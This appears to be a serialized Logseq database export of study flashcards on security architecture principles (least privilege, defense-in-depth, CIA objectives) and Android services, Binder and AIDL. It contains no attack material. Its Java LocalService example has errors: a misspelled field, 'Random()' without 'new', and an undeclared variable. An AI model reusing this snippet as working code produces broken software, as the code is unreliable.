policylogseq____",536870916]],[logseq____"^15logseq____",[240,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[240,logseq____"^Flogseq____",54,536870916]],[logseq____"^15logseq____",[240,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[240,logseq____"^Vlogseq____",54,536870916]],[logseq____"^15logseq____",[240,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[240,logseq____"^;logseq____",logseq____"~u67b83fac-1b84-4b3d-9f36-bfb6cd14ed86logseq____",536870916]],[logseq____"^15logseq____",[241,logseq____"^Qlogseq____",logseq____"## Modularity/Compartmentalization\\nid:: 67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____",536870916]],[logseq____"^15logseq____",[241,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[241,logseq____"^Flogseq____",231,536870916]],[logseq____"^15logseq____",[241,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[241,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[241,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[241,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[241,logseq____"^Jlogseq____",[logseq____"^18logseq____"],536874675]],[logseq____"^15logseq____",[241,logseq____"^4logseq____",[logseq____"^ logseq____",logseq____"^18logseq____",logseq____"67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____"],536874675]],[logseq____"^15logseq____",[241,logseq____"^;logseq____",logseq____"~u67b73d61-146d-41b7-88c1-bfe2f62977c9logseq____",536870916]],[logseq____"^15logseq____",[242,logseq____"^Qlogseq____",logseq____"Critical resources should be isolated physically or logically, e.g., *encapsulation*logseq____",536870916]],[logseq____"^15logseq____",[242,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[242,logseq____"^Flogseq____",231,536870916]],[logseq____"^15logseq____",[242,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[242,logseq____"^Vlogseq____",231,536870916]],[logseq____"^15logseq____",[242,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[242,logseq____"^;logseq____",logseq____"~u67b83fac-3f8b-4f61-86a2-5ce20f4d4ff3logseq____",536870916]],[logseq____"^15logseq____",[243,logseq____"^Qlogseq____",logseq____"## Defense-In-Depthlogseq____",536870916]],[logseq____"^15logseq____",[243,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[243,logseq____"^Flogseq____",241,536870916]],[logseq____"^15logseq____",[243,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[243,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[243,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[243,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[243,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[243,logseq____"^;logseq____",logseq____"~u67b83fac-caca-4e70-b555-5fa4b05be0a9logseq____",536870916]],[logseq____"^15logseq____",[244,logseq____"^Qlogseq____",logseq____"### Component Design at Different Levelslogseq____",536870916]],[logseq____"^15logseq____",[244,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[244,logseq____"^Flogseq____",255,536870916]],[logseq____"^15logseq____",[244,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[244,logseq____"^Vlogseq____",241,536870916]],[logseq____"^15logseq____",[244,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[244,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536874675]],[logseq____"^15logseq____",[244,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[244,logseq____"^;logseq____",logseq____"~u67b83fac-02df-44c3-8425-0b73acdccaaalogseq____",536870916]],[logseq____"^15logseq____",[245,logseq____"^Qlogseq____",logseq____"Require multiple privilege attributes for accessing restricted resourceslogseq____",536870916]],[logseq____"^15logseq____",[245,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[245,logseq____"^Flogseq____",249,536870916]],[logseq____"^15logseq____",[245,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[245,logseq____"^Vlogseq____",249,536870916]],[logseq____"^15logseq____",[245,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[245,logseq____"^;logseq____",logseq____"~u67b83fac-0b2d-4f66-b7f8-9c88ec9c65f2logseq____",536870916]],[logseq____"^15logseq____",[246,logseq____"^Qlogseq____",logseq____"Do not give out more permissions than absolutely necessarylogseq____",536870916]],[logseq____"^15logseq____",[246,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[246,logseq____"^Flogseq____",234,536870916]],[logseq____"^15logseq____",[246,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[246,logseq____"^Vlogseq____",234,536870916]],[logseq____"^15logseq____",[246,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[246,logseq____"^;logseq____",logseq____"~u67b83fac-5d38-4c86-8293-c76b5e2e721blogseq____",536870916]],[logseq____"^15logseq____",[247,logseq____"^Qlogseq____",logseq____"## Minimum Exposurelogseq____",536870916]],[logseq____"^15logseq____",[247,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[247,logseq____"^Flogseq____",237,536870916]],[logseq____"^15logseq____",[247,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[247,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[247,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[247,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[247,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[247,logseq____"^;logseq____",logseq____"~u67b83fac-b5ec-411a-b621-75d0722ca55dlogseq____",536870916]],[logseq____"^15logseq____",[248,logseq____"^Qlogseq____",logseq____"Multiple, overlapping protection mechanismslogseq____",536870916]],[logseq____"^15logseq____",[248,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[248,logseq____"^Flogseq____",243,536870916]],[logseq____"^15logseq____",[248,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[248,logseq____"^Vlogseq____",243,536870916]],[logseq____"^15logseq____",[248,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[248,logseq____"^;logseq____",logseq____"~u67b83fac-da53-4112-b161-2de9b76d51c6logseq____",536870916]],[logseq____"^15logseq____",[249,logseq____"^Qlogseq____",logseq____"## Separation of Privilegelogseq____",536870916]],[logseq____"^15logseq____",[249,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[249,logseq____"^Flogseq____",236,536870916]],[logseq____"^15logseq____",[249,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[249,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[249,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[249,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[249,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[249,logseq____"^;logseq____",logseq____"~u67b83fac-5b70-4de9-be57-8e745e3c8753logseq____",536870916]],[logseq____"^15logseq____",[250,logseq____"^Qlogseq____",logseq____"Utilize OS mechanismslogseq____",536870916]],[logseq____"^15logseq____",[250,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[250,logseq____"^Flogseq____",251,536870916]],[logseq____"^15logseq____",[250,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[250,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[250,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[250,logseq____"^;logseq____",logseq____"~u67b83fac-73cc-45fc-b017-f9e9e8a2feb4logseq____",536870916]],[logseq____"^15logseq____",[251,logseq____"^Qlogseq____",logseq____"Split software into moduleslogseq____",536870916]],[logseq____"^15logseq____",[251,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[251,logseq____"^Flogseq____",244,536870916]],[logseq____"^15logseq____",[251,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[251,logseq____"^Vlogseq____",244,536870916]],[logseq____"^15logseq____",[251,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[251,logseq____"^;logseq____",logseq____"~u67b83fac-42b8-4e95-9d27-05c60d331649logseq____",536870916]],[logseq____"^15logseq____",[252,logseq____"^Qlogseq____",logseq____"System should go into a secure state in the event of failures*logseq____",536870916]],[logseq____"^15logseq____",[252,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[252,logseq____"^Flogseq____",228,536870916]],[logseq____"^15logseq____",[252,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[252,logseq____"^Vlogseq____",228,536870916]],[logseq____"^15logseq____",[252,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[252,logseq____"^;logseq____",logseq____"~u67b83fac-d605-41c1-bfd1-c2fd677b1f89logseq____",536870916]],[logseq____"^15logseq____",[253,logseq____"^Qlogseq____",logseq____"Minimize systemlogseq____'s attack surfacelogseq____",536870916]],[logseq____"^15logseq____",[253,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[253,logseq____"^Flogseq____",247,536870916]],[logseq____"^15logseq____",[253,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[253,logseq____"^Vlogseq____",247,536870916]],[logseq____"^15logseq____",[253,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[253,logseq____"^;logseq____",logseq____"~u67b83fac-5df3-4b5f-bf13-330ec7960c3dlogseq____",536870916]],[logseq____"^15logseq____",[254,logseq____"^Qlogseq____",logseq____"## Acceptance by Userslogseq____",536870916]],[logseq____"^15logseq____",[254,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[254,logseq____"^Flogseq____",233,536870916]],[logseq____"^15logseq____",[254,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[254,logseq____"^Vlogseq____",225,536870916]],[logseq____"^15logseq____",[254,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[254,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536874675]],[logseq____"^15logseq____",[254,logseq____"^Jlogseq____",[],536874675]],[logseq____"^15logseq____",[254,logseq____"^;logseq____",logseq____"~u67b83fac-f0d2-4f4f-947b-7da20eecf20clogseq____",536870916]],[logseq____"^15logseq____",[255,logseq____"^Qlogseq____",logseq____"Modular system architecture and security mechanismslogseq____",536870916]],[logseq____"^15logseq____",[255,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[255,logseq____"^Flogseq____",241,536870916]],[logseq____"^15logseq____",[255,logseq____"^Xlogseq____",225,536870916]],[logseq____"^15logseq____",[255,logseq____"^Vlogseq____",241,536870916]],[logseq____"^15logseq____",[255,logseq____"^Ulogseq____",225,536870916]],[logseq____"^15logseq____",[255,logseq____"^;logseq____",logseq____"~u67b83fac-a3b1-452a-a64d-1639544dfb31logseq____",536870916]],[logseq____"^15logseq____",[257,logseq____"^Klogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[257,logseq____"^@logseq____",false,536870916]],[logseq____"^15logseq____",[257,logseq____"^Ylogseq____",logseq____"security considerationslogseq____",536870916]],[logseq____"^15logseq____",[257,logseq____"^11logseq____",logseq____"Security Considerationslogseq____",536870916]],[logseq____"^15logseq____",[257,logseq____"^Blogseq____",1740128172082,536870916]],[logseq____"^15logseq____",[257,logseq____"^;logseq____",logseq____"~u67bd79bb-d6aa-4abf-bbda-bbf5c32d8d37logseq____",536878163]],[logseq____"^15logseq____",[258,logseq____"^Qlogseq____",logseq____"## Objectives #card #security-architecturelogseq____",536870916]],[logseq____"^15logseq____",[258,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[258,logseq____"^Flogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^Vlogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[258,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[258,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[258,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[258,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[258,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[258,logseq____"^Hlogseq____",38,536870916]],[logseq____"^15logseq____",[258,logseq____"^;logseq____",logseq____"~u67b83fac-84f7-4ab7-a6a8-7e7e7360f196logseq____",536870916]],[logseq____"^15logseq____",[259,logseq____"^Qlogseq____",logseq____"*Confidentiality*: No unauthorized information accesseslogseq____",536870916]],[logseq____"^15logseq____",[259,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[259,logseq____"^Flogseq____",258,536870916]],[logseq____"^15logseq____",[259,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[259,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[259,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[259,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[259,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[259,logseq____"^;logseq____",logseq____"~u67b83fac-1431-4f6d-99a3-9f100f8b1d77logseq____",536870916]],[logseq____"^15logseq____",[260,logseq____"^Qlogseq____",logseq____"*Integrity*: No unauthorized data modificationslogseq____",536870916]],[logseq____"^15logseq____",[260,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[260,logseq____"^Flogseq____",259,536870916]],[logseq____"^15logseq____",[260,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[260,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[260,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[260,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[260,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[260,logseq____"^;logseq____",logseq____"~u67b83fac-325d-422c-a0fb-ec3275dcdb98logseq____",536870916]],[logseq____"^15logseq____",[261,logseq____"^Qlogseq____",logseq____"*Availiability*: Timely and reliable accesslogseq____",536870916]],[logseq____"^15logseq____",[261,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[261,logseq____"^Flogseq____",260,536870916]],[logseq____"^15logseq____",[261,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[261,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[261,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[261,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[261,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[261,logseq____"^;logseq____",logseq____"~u67b83fac-9d31-4b0e-8fa5-da5fa7d2b92dlogseq____",536870916]],[logseq____"^15logseq____",[262,logseq____"^Qlogseq____",logseq____"*Authenticity*: Verify users are who they claim to belogseq____",536870916]],[logseq____"^15logseq____",[262,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[262,logseq____"^Flogseq____",261,536870916]],[logseq____"^15logseq____",[262,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[262,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[262,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[262,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[262,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[262,logseq____"^;logseq____",logseq____"~u67b83fac-1048-43e8-8ca5-657fe971c65blogseq____",536870916]],[logseq____"^15logseq____",[263,logseq____"^Qlogseq____",logseq____"*Authorization*: Limit actions authenticated users are allowed to performlogseq____",536870916]],[logseq____"^15logseq____",[263,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[263,logseq____"^Flogseq____",262,536870916]],[logseq____"^15logseq____",[263,logseq____"^Xlogseq____",257,536870916]],[logseq____"^15logseq____",[263,logseq____"^Vlogseq____",258,536870916]],[logseq____"^15logseq____",[263,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[263,logseq____"^Ulogseq____",38,536870916]],[logseq____"^15logseq____",[263,logseq____"^Ulogseq____",257,536870916]],[logseq____"^15logseq____",[263,logseq____"^;logseq____",logseq____"~u67b83fac-d8f3-4d64-9b03-a381056ef076logseq____",536870916]],[logseq____"^15logseq____",[265,logseq____"^Qlogseq____",logseq____"### Examplelogseq____",536870916]],[logseq____"^15logseq____",[265,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[265,logseq____"^Flogseq____",266,536870916]],[logseq____"^15logseq____",[265,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[265,logseq____"^Vlogseq____",280,536870916]],[logseq____"^15logseq____",[265,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[265,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[265,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[265,logseq____"^;logseq____",logseq____"~u67b83fac-fabb-48f4-a2a0-6640631dc225logseq____",536870916]],[logseq____"^15logseq____",[266,logseq____"^Qlogseq____",logseq____"Simply extend the Binder class instead of using AIDLlogseq____",536870916]],[logseq____"^15logseq____",[266,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[266,logseq____"^Flogseq____",280,536870916]],[logseq____"^15logseq____",[266,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[266,logseq____"^Vlogseq____",280,536870916]],[logseq____"^15logseq____",[266,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[266,logseq____"^;logseq____",logseq____"~u67b83fac-fea2-4728-b254-7f580a01cc7flogseq____",536870916]],[logseq____"^15logseq____",[267,logseq____"^Qlogseq____",logseq____"AIDL compiler creates a *skeleton* for the service (stub) and a *proxy object* abstracting the servicelogseq____",536870916]],[logseq____"^15logseq____",[267,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[267,logseq____"^Flogseq____",270,536870916]],[logseq____"^15logseq____",[267,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[267,logseq____"^Vlogseq____",269,536870916]],[logseq____"^15logseq____",[267,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[267,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[267,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[267,logseq____"^;logseq____",logseq____"~u67b83fac-eccf-45d0-a1f2-71bdf01b2b48logseq____",536870916]],[logseq____"^15logseq____",[268,logseq____"^Qlogseq____",logseq____"Can be invoked in different ways, i.e, client starts a service or client binds to a servicelogseq____",536870916]],[logseq____"^15logseq____",[268,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[268,logseq____"^Flogseq____",277,536870916]],[logseq____"^15logseq____",[268,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[268,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[268,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[268,logseq____"^;logseq____",logseq____"~u67b83fac-958d-47b5-b694-c24e929fa961logseq____",536870916]],[logseq____"^15logseq____",[269,logseq____"^Qlogseq____",logseq____"Remote:logseq____",536870916]],[logseq____"^15logseq____",[269,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[269,logseq____"^Flogseq____",273,536870916]],[logseq____"^15logseq____",[269,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[269,logseq____"^Vlogseq____",273,536870916]],[logseq____"^15logseq____",[269,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[269,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[269,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[269,logseq____"^;logseq____",logseq____"~u67b83fac-5d00-4125-af92-d0b8ac775741logseq____",536870916]],[logseq____"^15logseq____",[270,logseq____"^Qlogseq____",logseq____"Define interface in *Android Interface Definition Language* (AIDL; domain-specific language)logseq____",536870916]],[logseq____"^15logseq____",[270,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[270,logseq____"^Flogseq____",269,536870916]],[logseq____"^15logseq____",[270,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[270,logseq____"^Vlogseq____",269,536870916]],[logseq____"^15logseq____",[270,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[270,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[270,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[270,logseq____"^;logseq____",logseq____"~u67b83fac-4f41-4178-a29b-c5aa0e9f0da6logseq____",536870916]],[logseq____"^15logseq____",[271,logseq____"^Qlogseq____",logseq____"Examples: Wi-Fi manager, Location managerlogseq____",536870916]],[logseq____"^15logseq____",[271,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[271,logseq____"^Flogseq____",267,536870916]],[logseq____"^15logseq____",[271,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[271,logseq____"^Vlogseq____",269,536870916]],[logseq____"^15logseq____",[271,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[271,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[271,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[271,logseq____"^;logseq____",logseq____"~u67b83fac-861e-4baf-9565-e3cc515b3d93logseq____",536870916]],[logseq____"^15logseq____",[272,logseq____"^Qlogseq____",logseq____"### Examplelogseq____",536870916]],[logseq____"^15logseq____",[272,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[272,logseq____"^Flogseq____",291,536870916]],[logseq____"^15logseq____",[272,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[272,logseq____"^Vlogseq____",293,536870916]],[logseq____"^15logseq____",[272,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[272,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[272,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[272,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",3],536870916]],[logseq____"^15logseq____",[272,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[272,logseq____"^;logseq____",logseq____"~u67b83fac-8a27-4029-96ab-25c2339700d2logseq____",536870916]],[logseq____"^15logseq____",[273,logseq____"^Qlogseq____",logseq____"Can be *local* to an app or in a *remote process*logseq____",536870916]],[logseq____"^15logseq____",[273,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[273,logseq____"^Flogseq____",275,536870916]],[logseq____"^15logseq____",[273,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[273,logseq____"^Vlogseq____",274,536870916]],[logseq____"^15logseq____",[273,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[273,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[273,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[273,logseq____"^;logseq____",logseq____"~u67b83fac-c3e1-4cd4-aac7-695f469b891blogseq____",536870916]],[logseq____"^15logseq____",[274,logseq____"^Qlogseq____",logseq____"## General Information #card #android-basicslogseq____",536870916]],[logseq____"^15logseq____",[274,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[274,logseq____"^Flogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^Vlogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[274,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[274,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[274,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",2],536870916]],[logseq____"^15logseq____",[274,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[274,logseq____"^Hlogseq____",2,536870916]],[logseq____"^15logseq____",[274,logseq____"^Hlogseq____",24,536870916]],[logseq____"^15logseq____",[274,logseq____"^;logseq____",logseq____"~u67b83fac-cfcb-43ba-8176-486d2fb69a0blogseq____",536870916]],[logseq____"^15logseq____",[275,logseq____"^Qlogseq____",logseq____"Background processes without user interactionlogseq____",536870916]],[logseq____"^15logseq____",[275,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[275,logseq____"^Flogseq____",274,536870916]],[logseq____"^15logseq____",[275,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[275,logseq____"^Vlogseq____",274,536870916]],[logseq____"^15logseq____",[275,logseq____"^Ulogseq____",2,536870916]],[logseq____"^15logseq____",[275,logseq____"^Ulogseq____",24,536870916]],[logseq____"^15logseq____",[275,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[275,logseq____"^;logseq____",logseq____"~u67b83fac-a217-4045-93c3-4db6c757fe0clogseq____",536870916]],[logseq____"^15logseq____",[276,logseq____"^Qlogseq____",logseq____"~```java\\npublic class LocalService extends Service {\\n private final IBinder binder = new LocalBinder();\\n private final Random mGenderator = Random();\\n \\n // No need to deal with IPC as service runs in same process as client\\n public class LocalBinder extends Binder {\\n LocalService getService() {\\n return LocalService.this; // clients can call public methods\\n }\\n }\\n \\n @Override\\n public IBinder onBind(Intent intent) {\\n return binder;\\n }\\n \\n // Method called by clients\\n public int getRandomNumber() {\\n return mGenerator.nextInt(100);\\n }\\n}\\n```logseq____",536870916]],[logseq____"^15logseq____",[276,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[276,logseq____"^Flogseq____",265,536870916]],[logseq____"^15logseq____",[276,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[276,logseq____"^Vlogseq____",265,536870916]],[logseq____"^15logseq____",[276,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[276,logseq____"^;logseq____",logseq____"~u67b83fac-de38-4a76-a859-b56df8a7d077logseq____",536870916]],[logseq____"^15logseq____",[277,logseq____"^Qlogseq____",logseq____"{:height 515, :width 389}logseq____",536870916]],[logseq____"^15logseq____",[277,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[277,logseq____"^Flogseq____",278,536870916]],[logseq____"^15logseq____",[277,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[277,logseq____"^Vlogseq____",278,536870916]],[logseq____"^15logseq____",[277,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[277,logseq____"^;logseq____",logseq____"~u67b83fac-3189-40b7-848d-82aac28e25c9logseq____",536870916]],[logseq____"^15logseq____",[278,logseq____"^Qlogseq____",logseq____"# Lifecyclelogseq____",536870916]],[logseq____"^15logseq____",[278,logseq____"^Ologseq____",logseq____"^16logseq____",536870916]],[logseq____"^15logseq____",[278,logseq____"^Flogseq____",274,536870916]],[logseq____"^15logseq____",[278,logseq____"^Xlogseq____",26,536870916]],[logseq____"^15logseq____",[278,logseq____"^Vlogseq____",26,536870916]],[logseq____"^15logseq____",[278,logseq____"^Ulogseq____",26,536870916]],[logseq____"^15logseq____",[278,logseq____"^?logseq____",[logseq____"^ logseq____",logseq____"^17logseq____",1],536870916]],[logseq____"^15logseq____",[278,logseq____"^Jlogseq____",[],536870916]],[logseq____"^15logseq____",[278,logseq____"^;logseq____",logseq____"~u67b83fac-5ef9-49ad-9ae1-f8e7eb5e2f12logseq____",536870916]],[logseq____"^15logseq____",[279,logseq____"^Qlogseq____",logseq____"~```java\\ninterface MySerice {\\n int foo(String 